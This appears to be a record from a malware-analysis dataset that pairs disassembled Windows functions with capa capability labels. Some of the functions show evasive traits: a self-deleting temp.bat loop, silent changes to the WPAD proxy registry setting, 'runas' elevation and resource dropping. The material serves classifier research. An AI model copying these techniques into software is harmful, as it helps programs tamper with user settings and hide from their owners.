joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c521
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
xor ebp, ebp
push ebp
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [esi + 8], ebp
jne 0x40c691
push str.winhttp.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebp
mov dword [esi + 8], eax
je 0x40c682
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WinHttpOpen
push eax
call edi
cmp eax, ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x18], eax
jne 0x40c56e
call ebx
mov ebp, eax
push str.WinHttpConnect
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x1c], eax
jne 0x40c583
call ebx
mov ebp, eax
push str.WinHttpOpenRequest
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x20], eax
jne 0x40c598
call ebx
mov ebp, eax
push str.WinHttpSendRequest
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x24], eax
jne 0x40c5ad
call ebx
mov ebp, eax
push str.WinHttpReceiveResponse
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x28], eax
jne 0x40c5c2
call ebx
mov ebp, eax
push str.WinHttpQueryOption
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x2c], eax
jne 0x40c5d7
call ebx
mov ebp, eax
push str.WinHttpSetOption
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x30], eax
jne 0x40c5ec
call ebx
mov ebp, eax
push str.WinHttpQueryHeaders
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x34], eax
jne 0x40c601
call ebx
mov ebp, eax
push str.WinHttpQueryDataAvailable
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x38], eax
jne 0x40c616
call ebx
mov ebp, eax
push str.WinHttpReadData
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x3c], eax
jne 0x40c62b
call ebx
mov ebp, eax
push str.WinHttpCloseHandle
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x40], eax
jne 0x40c640
call ebx
mov ebp, eax
push str.WinHttpAddRequestHeaders
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x44], eax
jne 0x40c655
call ebx
mov ebp, eax
push str.WinHttpSetCredentials
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x48], eax
jne 0x40c66a
call ebx
mov ebp, eax
push str.WinHttpQueryAuthSchemes
push dword [esi + 8]
call edi
test eax, eax
mov dword [esi + 0x4c], eax
pop edi
jne 0x40c69c
call ebx
mov ebp, eax
jmp 0x40c69c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
push str.ClsWinHttpEnvironment::Create___ERROR_:_could_not_load_winhttp_
jmp 0x40c696
push str.ClsWinHttpEnvironment::Create___ERROR_:_hWinModule_is_not_null__already_init_
call fcn.004140dd
pop ecx
cmp dword [esi + 4], 0
je 0x40c6bf
test ebp, ebp
mov eax, str.Succeeded
je 0x40c6b0
mov eax, str.Failed
push ebp
push eax
push str._ClsWinHttpEnvironment__Creating_environment...___s___d__
call fcn.004140dd
add esp, 0xc
pop esi
mov eax, ebp
pop ebp
pop ebx
ret
Function at 0x40e4ea
Capabilities:
Set registry value

Disassembly:
push ebp
sub esp, 0x400
lea ebp, [esp - 4]
mov eax, dword [0x452724]
xor eax, ebp
mov dword [ebp + 0x400], eax
push 0x24
mov eax, 0x42e064
call fcn.00415554
xor bl, bl
mov byte [ebp - 0x11], bl
xor edi, edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x30], vtable.CurrentUserSID.0
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 4], edi
mov byte [ebp - 4], 1
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str._ClsInternetExplorerSettings::ChangeWPAD_Checking_Registry_for_WPAD_info...
call fcn.004140dd
mov dword [esp], 0xf003f
lea eax, [ebp - 0x1c]
push eax
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnections
push esi
push SysReAllocString
call fcn.00412207
add esp, 0x10
test al, al
je 0x40e5c6
lea eax, [ebp - 0x18]
push eax
mov esi, str.DefaultConnectionSettings
push esi
push dword [ebp - 0x1c]
call fcn.004122a2
add esp, 0xc
test al, al
je 0x40e5af
mov eax, dword [ebp - 0x18]
movzx ecx, byte [eax + 8]
xor ecx, 8
mov byte [eax + 8], cl
push 0x400
push dword [ebp - 0x18]
push 3
push edi
push esi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
neg ebx
sbb ebx, ebx
inc ebx
mov byte [ebp - 0x11], bl
jmp 0x40e659
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._ClsInternetExplorerSettings::ChangeWPAD_unknown_error__ld
call fcn.004140dd
pop ecx
jmp 0x40e658
lea ecx, [ebp - 0x30]
call fcn.00407b79
test al, al
je 0x40e64e
push str._ClsWinInetEnvironment::ChangeWPAD_RegKey_not_on_current_user__looking_on_HKEY_USERS
call fcn.004140dd
pop ecx
push esi
lea ecx, [ebp - 0x30]
call fcn.00407bed
push eax
push 0x4332b0
lea eax, [ebp]
push eax
call fcn.00417806
push 0xf003f
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp]
push eax
push SysStringLen
call fcn.00412207
add esp, 0x20
test al, al
je 0x40e647
lea eax, [ebp - 0x18]
push eax
mov esi, str.DefaultConnectionSettings
push esi
push dword [ebp - 0x1c]
call fcn.004122a2
add esp, 0xc
test al, al
je 0x40e5af
mov eax, dword [ebp - 0x18]
movzx ecx, byte [eax + 8]
xor ecx, 8
mov byte [eax + 8], cl
push 0x400
lea eax, [ebp - 0x18]
push eax
jmp 0x40e593
push str._ClsInternetExplorerSettings::ChangeWPAD_RegKey_not_on_HKEYUSERS
jmp 0x40e653
push str.No_SID_info_for_current_user
call fcn.004140dd
pop ecx
push dword [ebp - 0x1c]
call fcn.00412344
lea eax, [ebp - 0x18]
push eax
call fcn.0041354e
pop ecx
pop ecx
test bl, bl
mov eax, str.successfully
jne 0x40e67a
mov eax, str.with_errors
push eax
push str.WPAD_changed__s.
call fcn.004140dd
pop ecx
pop ecx
mov dword [ebp - 4], edi
jmp 0x40e6a0
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x30], vtable.CurrentUserSID.0
lea ecx, [ebp - 0x30]
call fcn.00407ab8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x400]
xor ecx, ebp
call fcn.00414b1e
add ebp, 0x404
leave
ret
Function at 0x40f779
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
sub esp, 0x608
lea ebp, [esp - 4]
mov eax, dword [0x452724]
xor eax, ebp
mov dword [ebp + 0x608], eax
push 0x10
mov eax, 0x42e311
call fcn.00415554
mov esi, dword [ebp + 0x614]
xor edi, edi
mov dword [ebp - 4], edi
call dword [0x452508]
push str.temp.bat
push esi
push 0x433d78
mov esi, 0x104
push esi
lea eax, [ebp + 0x504]
push eax
call fcn.00417f74
add esp, 0x14
push esi
lea eax, [ebp + 0x400]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
call ebx
cmp eax, 0x80000000
jae 0x40f7ff
push str.SelfDelete__SelfDelete_WINNT_2000_XP_2003_
call fcn.004140dd
mov dword [esp], str._echo_off_r_n:Repeat_r_ndel__Q___s__r_nping__n_1_localhost___nul_r_nif_exist___s__goto_Repeat_r_ndel__Q___s_
jmp 0x40f810
push str.SelfDelete__SelfDelete_WINVISTA
call fcn.004140dd
mov dword [esp], str._echo_off_r_n:Repeat_r_ndel___s__r_nping__n_1_localhost___nul_r_nif_exist___s__goto_Repeat_r_ndel___s__r_n
push 0x433c60
push 0x400
lea eax, [ebp]
push eax
call fcn.00417f74
add esp, 0x10
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp + 0x504]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x40f91e
lea eax, [ebp]
push eax
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
mov edi, 0x30c
add eax, edi
push eax
call fcn.00416ef3
pop ecx
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x504]
push eax
lea eax, [ebp + 0x400]
push eax
push eax
lea eax, [ebp]
push eax
push eax
call esi
add eax, edi
push eax
mov edi, dword [ebp - 0x18]
push edi
call fcn.00417f74
add esp, 0x18
push 0
lea eax, [ebp - 0x1c]
push eax
push edi
call esi
push eax
push edi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call fcn.00416e16
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp + 0x504]
push eax
push str._c___s_
push 0x400
lea eax, [ebp]
push eax
call fcn.00417f74
add esp, 0x10
call ebx
cmp eax, 0x80000000
lea eax, [ebp]
push eax
jae 0x40f8f9
push str.SelfDelete__SelfDelete__WINNT_2000_XP_2003...:_ShellExecute__s
call fcn.004140dd
pop ecx
pop ecx
xor eax, eax
push eax
push eax
lea ecx, [ebp]
push ecx
push 0x433c14
jmp 0x40f912
push str.SelfDelete__SelfDelete__Win95__Win98__Me:_ShellExecute__s
call fcn.004140dd
pop ecx
pop ecx
xor eax, eax
push eax
push eax
lea ecx, [ebp]
push ecx
push str.command
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x608]
xor ecx, ebp
call fcn.00414b1e
add ebp, 0x60c
leave
ret
Function at 0x40f95e
Capabilities:
Write file on windows

Disassembly:
push 0xc
mov eax, 0x42e339
call fcn.00415554
xor ebx, ebx
mov byte [ebp - 0x11], bl
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x40f9e9
mov esi, dword [ebp + 8]
cmp esi, ebx
je 0x40f9e2
cmp dword [esi + 8], ebx
je 0x40f9db
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40f9d4
mov eax, dword [esi + 8]
mov esi, dword [esi]
push ebx
lea ecx, [ebp - 0x18]
push ecx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40f9c0
mov byte [ebp - 0x11], 1
jmp 0x40f9cb
push str.BufferToFile__BufferToFile_Error:_writting_file
call fcn.004140dd
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40f9f4
push str.BufferToFile__BufferToFile_Error:_creating_file
jmp 0x40f9ee
push str.BufferToFile__BufferToFile_Error:_sbBuffer__Length____0
jmp 0x40f9ee
push str.BufferToFile__BufferToFile_sbBuffer__NULL
jmp 0x40f9ee
push str.BufferToFile__BufferToFile_szFile__NULL
call fcn.004140dd
pop ecx
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x11]
call fcn.004155f9
ret

Function at 0x40fa1a
Capabilities:
Write file on windows

Disassembly:
push 0xc
mov eax, 0x42e354
call fcn.00415554
xor ebx, ebx
mov byte [ebp - 0x11], bl
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x40faa6
mov edi, dword [ebp + 8]
cmp edi, ebx
je 0x40fa9f
cmp byte [edi], bl
je 0x40fa98
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40fa91
push ebx
lea eax, [ebp - 0x18]
push eax
push edi
call fcn.00416cb0
pop ecx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40fa7d
mov byte [ebp - 0x11], 1
jmp 0x40fa88
push str.BufferToFile__BufferToFile2_Error:_writting_file
call fcn.004140dd
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40fab1
push str.BufferToFile__BufferToFile2_Error:_creating_file
jmp 0x40faab
push str.BufferToFile__BufferToFile2_Error:_szBuffer__NULL
jmp 0x40faab
push str.BufferToFile__BufferToFile2_szBuffer__NULL
jmp 0x40faab
push str.BufferToFile__BufferToFile2_szFile__NULL
call fcn.004140dd
pop ecx
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x11]
call fcn.004155f9
ret
Function at 0x40fad7
Capabilities:
Read file on windows

Disassembly:
push ebp
sub esp, 0x200
lea ebp, [esp - 4]
mov eax, dword [0x452724]
xor eax, ebp
mov dword [ebp + 0x200], eax
push 0x18
mov eax, 0x42e377
call fcn.00415554
mov edi, dword [ebp + 0x20c]
mov esi, dword [ebp + 0x210]
xor ebx, ebx
mov byte [ebp - 0x11], bl
lea ecx, [ebp - 0x24]
call fcn.00403937
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
cmp esi, ebx
je 0x40fbb7
cmp edi, ebx
je 0x40fbb0
lea ecx, [ebp - 0x24]
call fcn.004039ca
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40fba9
push ebx
lea eax, [ebp - 0x18]
push eax
push 0x200
lea eax, [ebp]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40fb93
cmp dword [ebp - 0x18], ebx
je 0x40fb93
push dword [ebp - 0x18]
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x24]
call fcn.00403967
mov byte [ebp - 0x11], 1
push ebx
push ebx
push dword [ebp - 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x40fb51
push ebx
push dword [ebp - 0x24]
push edi
call fcn.004135cd
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40fbc2
push str.FileToBuffer__FileToBuffer_Error:_creating_file
jmp 0x40fbbc
push str.FileToBuffer__FileToBuffer_Error:_szBuffer__NULL
jmp 0x40fbbc
push str.FileToBuffer__FileToBuffer_Error:_szFile__NULL
call fcn.004140dd
pop ecx
mov dword [ebp - 4], ebx
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x24]
call fcn.00416e16
pop ecx
mov al, byte [ebp - 0x11]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x200]
xor ecx, ebp
call fcn.00414b1e
add ebp, 0x204
leave
ret
Function at 0x4107ed
Capabilities:
Create process on windows

Disassembly:
push 4
mov eax, 0x42e46d
call fcn.00415554
xor esi, esi
mov dword [ebp - 4], esi
push str.ShowQuest__ShowQuest_Initialized
call fcn.004140dd
pop ecx
call fcn.00412cb3
test eax, eax
je 0x41082f
push str.ShowQuest__ShowQuest_Current_User_Is_Local_Administrator
call fcn.004140dd
pop ecx
push 5
push esi
push dword [ebp + 8]
push str.iexplore
push str.open
jmp 0x41084a
push str.ShowQuest__ShowQuest_Current_User_Is_NOT_Local_Administrator
call fcn.004140dd
pop ecx
push 5
push esi
push dword [ebp + 8]
push str.iexplore
push str.runas
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ShowQuest__ShowQuest_Finished__ld
call fcn.004140dd
pop ecx
pop ecx
or dword [ebp - 4], 0xffffffff
call fcn.004155f9
ret
Function at 0x411b11
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
lea ebp, [esp - 0x11c]
sub esp, 0x19c
mov eax, dword [0x452724]
xor eax, ebp
mov dword [ebp + 0x118], eax
mov eax, dword [ebp + 0x124]
and dword [ebp - 0x7c], 0
push ebx
mov ebx, dword [sym.imp.WSOCK32.dll_WSAStartup]
push esi
mov esi, dword [ebp + 0x12c]
push edi
mov edi, dword [ebp + 0x128]
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x78]
push eax
mov byte [edi], 0
and dword [esi], 0
push 0x202
call ebx
test eax, eax
je 0x411b7f
lea eax, [ebp - 0x78]
push eax
push 0x101
call ebx
test eax, eax
je 0x411b7f
call dword [sym.imp.WSOCK32.dll_WSAGetLastError]
test eax, eax
mov dword [ebp - 0x7c], eax
jne 0x411bb6
push dword [ebp - 0x80]
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x411bad
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WSOCK32.dll_inet_ntoa]
push eax
push edi
call fcn.00418030
push edi
call fcn.00416cb0
add esp, 0xc
mov dword [esi], eax
jmp 0x411bb6
call dword [sym.imp.WSOCK32.dll_WSAGetLastError]
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp + 0x118]
mov eax, dword [ebp - 0x7c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00414b1e
add ebp, 0x11c
leave
ret 0xc
Function at 0x41208b
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x928
mov eax, dword [0x452724]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov ecx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov byte [ebp - 0x10], 0
mov byte [esi], 0
jne 0x4120d9
test ecx, ecx
je 0x4120bc
mov eax, ecx
jmp 0x4120c4
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x104
lea ecx, [ebp - 0x114]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x4120ee
push 0x104
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00417920
add esp, 0xc
lea eax, [ebp - 0x928]
push eax
lea eax, [ebp - 0x114]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov edi, eax
test edi, edi
jne 0x412111
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
jmp 0x41215c
push ebx
push edi
call fcn.004149ef
pop ecx
mov ebx, eax
push ebx
push edi
push 0
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0x920], ebx
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x412152
lea eax, [ebp - 0x91c]
push eax
lea eax, [ebp - 0x924]
push eax
push str.VarFileInfoTranslation
push ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x41216a
push ebx
call fcn.00416e11
pop ecx
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00414b1e
leave
ret
mov eax, dword [ebp - 0x924]
mov eax, dword [eax]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
rol eax, 0x10
push eax
lea eax, [ebp - 0x10]
push str._08X
push eax
call edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x914]
push str.StringFileInfo_sFileVersion
push eax
call edi
add esp, 0x18
lea eax, [ebp - 0x91c]
push eax
lea eax, [ebp - 0x918]
push eax
lea eax, [ebp - 0x914]
push eax
push ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x4121cd
xor bl, bl
push dword [ebp - 0x920]
call fcn.00416e11
pop ecx
mov al, bl
jmp 0x41215b
push 0x19
push dword [ebp - 0x918]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
cmp byte [ebp + 0x14], 0
je 0x412203
xor edx, edx
xor ecx, ecx
mov al, byte [esi + edx]
test al, al
je 0x4121ff
cmp al, 0x30
jl 0x4121f9
cmp al, 0x39
jg 0x4121f9
mov byte [esi + ecx], al
inc ecx
inc edx
cmp edx, 0x19
jl 0x4121e6
mov byte [esi + ecx], 0
mov bl, 1
jmp 0x4121bd

Function at 0x412225
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x452724]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
lea edx, [ebp - 0x40c]
push edx
lea edx, [ebp - 0x404]
push edx
lea edx, [ebp - 0x408]
push edx
push 0
push ecx
push eax
mov dword [ebp - 0x408], 1
mov dword [ebp - 0x40c], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x412293
push eax
lea eax, [ebp - 0x404]
push eax
push esi
call fcn.004135cd
xor eax, eax
add esp, 0xc
cmp dword [esi], eax
setne al
jmp 0x412295
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00414b1e
leave
ret
Function at 0x4122a2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x38c]
sub esp, 0x40c
mov eax, dword [0x452724]
xor eax, ebp
mov dword [ebp + 0x388], eax
mov ecx, dword [ebp + 0x398]
mov eax, dword [ebp + 0x394]
push esi
mov esi, dword [ebp + 0x39c]
lea edx, [ebp - 0x7c]
push edx
lea edx, [ebp - 0x78]
push edx
lea edx, [ebp - 0x80]
push edx
push 0
push ecx
push eax
mov dword [ebp - 0x80], 3
mov dword [ebp - 0x7c], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41232c
push esi
call fcn.0041354e
mov eax, dword [ebp - 0x7c]
inc eax
push eax
call fcn.00416ef3
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x78]
push ecx
push eax
mov dword [esi], eax
call fcn.00414bb0
mov eax, dword [esi]
mov ecx, dword [ebp - 0x7c]
mov byte [ecx + eax], 0
xor eax, eax
add esp, 0x14
cmp dword [esi], eax
setne al
jmp 0x41232e
xor al, al
mov ecx, dword [ebp + 0x388]
xor ecx, ebp
pop esi
call fcn.00414b1e
add ebp, 0x38c
leave
ret

Function at 0x41279d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
je 0x4127f8
push esi
mov esi, dword [ebp + 8]
cmp esi, ebx
je 0x4127f7
cmp dword [esi + 8], ebx
je 0x4127f7
push edi
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4127f6
mov eax, dword [esi + 8]
mov esi, dword [esi]
push ebx
lea ecx, [ebp + 0xc]
push ecx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4127ef
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, bl
pop ebx
pop ebp
ret

Function at 0x41282f
Capabilities:
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0xe4]
sub esp, 0x164
mov eax, dword [0x452724]
xor eax, ebp
mov dword [ebp + 0xe0], eax
push esi
push 0x50
lea eax, [ebp + 0x90]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x104
lea eax, [ebp - 0x74]
push eax
push 0x43609c
mov esi, 0x55555555
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x412886
mov esi, dword [ebp - 0x78]
xor esi, 0x55555555
call dword [sym.imp.KERNEL32.dll_GetVersion]
xor esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp + 0xe0]
and eax, 0xffff0000
xor eax, esi
xor ecx, ebp
pop esi
call fcn.00414b1e
add ebp, 0xe4
leave
ret
Function at 0x412965
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xa0
mov eax, dword [0x452724]
xor eax, ebp
mov dword [ebp + 0x74], eax
push ebx
xor ebx, ebx
cmp dword [0x453b70], ebx
push esi
jne 0x412ac6
push 0x98
lea eax, [ebp - 0x24]
push ebx
push eax
call fcn.00414b30
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x9c
call esi
test eax, eax
jne 0x4129d7
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x94
call esi
test eax, eax
jne 0x4129d7
call fcn.004128b1
test al, al
je 0x412a05
mov dword [0x453b70], 0x50
mov eax, dword [ebp - 0x18]
dec eax
je 0x412a8d
dec eax
jne 0x412ac6
cmp dword [ebp - 0x24], 6
jne 0x412a2e
cmp dword [ebp - 0x20], 1
jne 0x412a0c
mov al, byte [ebp + 0x72]
dec al
neg al
sbb eax, eax
and eax, 0xa
add eax, 0x64
jmp 0x412a24
xor eax, eax
jmp 0x412acb
cmp dword [ebp - 0x20], ebx
jne 0x412ac6
mov al, byte [ebp + 0x72]
dec al
neg al
sbb eax, eax
and eax, 0xa
add eax, 0x50
mov dword [0x453b70], eax
jmp 0x412ac6
cmp dword [ebp - 0x24], 5
jne 0x412a7b
cmp dword [ebp - 0x20], 2
jne 0x412a58
cmp byte [ebp + 0x72], 1
je 0x412a5e
cmp byte [ebp + 0x72], 3
je 0x412a4c
cmp byte [ebp + 0x72], 2
jne 0x412ac6
mov dword [0x453b70], 0x46
jmp 0x412ac6
cmp dword [ebp - 0x20], 1
jne 0x412a6a
mov dword [0x453b70], 0x3c
jmp 0x412ac6
cmp dword [ebp - 0x20], ebx
jne 0x412ac6
mov dword [0x453b70], 0x32
jmp 0x412ac6
cmp dword [ebp - 0x24], 4
ja 0x412ac6
mov dword [0x453b70], 0x29
jmp 0x412ac6
cmp dword [ebp - 0x24], 4
jne 0x412ac6
cmp dword [ebp - 0x20], ebx
jne 0x412aa4
mov dword [0x453b70], 0xa
jmp 0x412ac6
cmp dword [ebp - 0x20], 0xa
jne 0x412ab6
mov dword [0x453b70], 0x14
jmp 0x412ac6
cmp dword [ebp - 0x20], 0x5a
jne 0x412ac6
mov dword [0x453b70], 0x1e
mov eax, dword [0x453b70]
mov ecx, dword [ebp + 0x74]
pop esi
xor ecx, ebp
pop ebx
call fcn.00414b1e
add ebp, 0x78
leave
ret
Function at 0x412ec0
Capabilities:
Create directory
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x19c]
sub esp, 0x21c
mov eax, dword [0x452724]
xor eax, ebp
mov dword [ebp + 0x198], eax
mov eax, dword [ebp + 0x1a8]
mov ecx, dword [ebp + 0x1ac]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push edi
mov edi, dword [ebp + 0x1a4]
push 0x104
mov dword [ebp - 0x7c], ecx
mov ecx, dword [ebp + 0x1b0]
push eax
push edi
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], ecx
call esi
mov ebx, eax
test ebx, ebx
jne 0x412f26
push 0xa
push dword [ebp - 0x74]
push edi
call esi
mov ebx, eax
test ebx, ebx
je 0x412fd0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
xor esi, esi
cmp eax, esi
je 0x412fd0
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, esi
mov dword [ebp - 0x74], eax
je 0x412fd0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 0x7c]
mov ebx, eax
push dword [ebp - 0x78]
lea eax, [ebp - 0x70]
push 0x4332b0
push 0x208
push eax
call fcn.00417f74
add esp, 0x14
push esi
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
push 0x80
push 4
push esi
push 1
push 0x40000000
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x412fd0
push esi
lea eax, [ebp - 0x80]
push eax
add ebx, 0xfffffffe
push ebx
push dword [ebp - 0x74]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x412fc5
push 0x30
push str.Installation_error
push str.Cant_create_file__Disk_Full_
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x412fd2
xor al, al
mov ecx, dword [ebp + 0x198]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00414b1e
add ebp, 0x19c
leave
ret